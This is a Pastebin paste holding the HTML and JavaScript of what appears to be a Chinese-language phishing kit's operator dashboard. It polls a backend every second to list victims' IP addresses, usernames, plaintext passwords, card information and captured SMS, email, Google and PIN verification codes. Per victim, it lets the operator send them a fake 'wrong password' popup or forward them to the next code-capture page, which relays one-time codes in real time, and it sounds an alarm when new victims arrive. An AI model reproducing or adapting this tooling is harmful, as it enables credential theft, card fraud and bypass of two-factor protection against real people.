Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="zh-cn">
- <head>
- <meta charset="utf-8" />
- <link rel="apple-touch-icon" sizes="76x76" href="img/apple-icon.png">
- <link rel="icon" type="image/png" href="img/favicon.png">
- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
- <title>后台</title>
- <meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0, shrink-to-fit=no' name='viewport' />
- <link href="css/bootstrap.min.css" rel="stylesheet" />
- <link href="css/paper-dashboard.css?v=2.0.0" rel="stylesheet" />
- </head>
- <body class="">
- <style>
- .main-panel>.content {
- padding: 0 20px 0 20px;
- margin-top: 10px;
- }
- .main-panel {
- width: 100%;
- </style>
- <div class="wrapper ">
- <div class="main-panel">
- <div class="content">
- <div class="row">
- <div class="col-md-12">
- <div class="card ">
- <div style="width:90%;float:left;display: inline-block;">
- <h5 style="float:left;margin-top: 10px;margin-left: 20px;">访问统计: <b id="ipnums" style="color:red;">0</b> IP</h5>
- <h5 style="float:left;margin-top: 10px;margin-left: 20px;">注册用户: <b id="totals" style="color:red;">0</b> 个</h5>
- </div>
- <div class="card-body ">
- <div class="table-responsive">
- <table class="table" style="border: 0">
- <thead class="text-danger">
- <tr>
- <td style="width: 4%;"><strong>ID</strong></td>
- <td style="width: 8%;"><strong>IP地址</strong></td>
- <td style="width: 8%;"><strong>账号id</strong></td>
- <td style="width: 8%;"><strong>账号密码</strong></td>
- <td style="width: 6%;"><strong>在线状态</strong></td>
- <td style="width: 30%;"><strong>卡号信息</strong></td>
- <td style="width: 30%;"><strong>Verify审核</strong></td>
- <td style="width: 10%;"><strong>时间</strong></td>
- </tr>
- </thead>
- <tbody id="datalist"> </tbody>
- </table>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- Core JS Files -->
- <script src="js/core/jquery.min.js"></script>
- <script src="js/core/popper.min.js"></script>
- <script src="js/core/bootstrap.min.js"></script>
- <script>
- var timer_ip = null;
- var timer = null;
- var timer_chk = null;
- var total = 3;
- var lastu = '';
- var lastid= 0;
- function _base64(t,w){
- if(w=='e') {
- return btoa(encodeURI(t));
- }else if(w=='d'){
- return decodeURI(atob(t));
- }
- }
- function letitgo(uname) {
- var code = document.getElementById('inp_'+uname).value;
- var sel = document.getElementById('sel_'+uname).value;
- var name = _base64(uname,'d');
- $.post('/api.php?act=letitgo&_r='+Math.random(),{uname:name,code:code,sel:sel},function (res) {
- var t = JSON.parse(res);
- if(t.code == 'ok') {
- alert('已确认 -> '+sel);
- window.location.reload();
- }
- });
- }
- function letitgo2(uname) {
- var smscode = document.getElementById('sms_'+uname).value;
- var emcode = document.getElementById('em_'+uname).value;
- var ggcode = document.getElementById('gg_'+uname).value;
- var pincode = document.getElementById('pin_'+uname).value;
- var sel = document.getElementById('pinsel_'+uname).value;
- var name = _base64(uname,'d');
- $.post('/api.php?act=letitgo2&_r='+Math.random(),{
- uname:name,
- smscode:smscode,
- emcode:emcode,
- ggcode:ggcode,
- pincode:pincode,
- sel:sel
- },function (res) {
- var t = JSON.parse(res);
- if(t.code == 'ok') {
- alert('已确认 -> '+sel);
- window.location.reload();
- }
- });
- }
- function chkstatus(online) {
- if(online == 'yes'){
- return '<h6 style="color:green">在线</h6>';
- }
- return '<h6 style="color:red">离线</h6>';
- }
- function load_data() {
- $.get('/api.php?act=load_data&lastu='+lastu+'&_r='+Math.random(),function (res) {
- var t = JSON.parse(res);
- var html = '';
- if(t.length>0) {
- for (var i = 0; i < t.length; i++) {
- ++lastid;
- if (i == 0) {
- lastu = _base64(t[0].uname,'e');
- }
- // 短信验证码页面:reset-password.php
- // 邮箱验证码页面:verification.php
- // 谷歌验证码页面:googleverify.php
- // PIN验证码页面:pinverify.php
- html += '<tr> \
- <td>' + lastid + '</td> \
- <td>' + t[i].ip + '</td> \
- <td>' + t[i].uname + '</td> \
- <td>' + t[i].upwd + '</td> \
- <td>' + chkstatus(t[i].online) + '</td> \
- <td>' + t[i].pincode + '</td> \
- <td>\
- <div style="float: left;width: 100%"> <input id="sms_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].smscode?t[i].smscode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
- <div style="float: left;width: 100%">sms验证码<input id="em_' + _base64(t[i].uname,'e') + '" type="text" value="'+(t[i].emcode?t[i].emcode:'')+'" style="width:100%;border: 0px;outline: none"> </div>\
- <div style="float: left;width: 100%"> <input id="gg_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].ggcode?t[i].ggcode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
- <div style="float: left;width: 100%"> <input id="pin_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].pincode?t[i].pincode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
- <select id="pinsel_' + _base64(t[i].uname,'e') + '" style="width:140px;">\
- <option value="alert-error" '+(t[i].pinpause=='alert-error'?'selected':'')+'>前台弹窗:账号或密码错误</option>\
- <option value="pinverify.php" '+(t[i].pinpause=='pinverify.php'?'selected':'')+'>正确</option>\
- </select>\
- <button onclick="letitgo2(\'' + _base64(t[i].uname,'e') + '\')">'+ (t[i].pinpause=='true'?'未确定':'已确认')+'</button>\
- </td> \
- <td>' + t[i].mktime + '</td> \
- </tr>';
- }
- $('#datalist').prepend(html);
- }
- });
- }
- function chk_total() {
- $.get('/api.php?act=chk_total&total='+total+'&_r='+Math.random(),function (res) {
- var t = JSON.parse(res);
- if(t.code == 'ok'){
- total = t.num;
- for(var i=0;i<10;i++) {
- var audio = new Audio("1.mp3");//这里的路径写上mp3文件在项目中的绝对路径
- audio.play();
- }
- // setTimeout("window.location.reload()",15000);
- }
- });
- }
- function get_ipnums() {
- $.get('/api.php?act=get_ipnums&_r=' + Math.random(), function (res) {
- var t = JSON.parse(res);
- if (t.code == 'ok') {
- $('#ipnums').html(t.nums);
- $('#totals').html(t.totals);
- }
- });
- }
- $(document).ready(function() {
- load_data();
- timer_ip = setInterval("get_ipnums()",1000);
- timer = setInterval("load_data()",1000);
- timer_chk = setInterval("chk_total()",500);
- setTimeout("window.location.reload()",10000);
- });
- </script>
- </body>
- </html>
- </body>
- </html>
Add Comment
Please, Sign In to add comment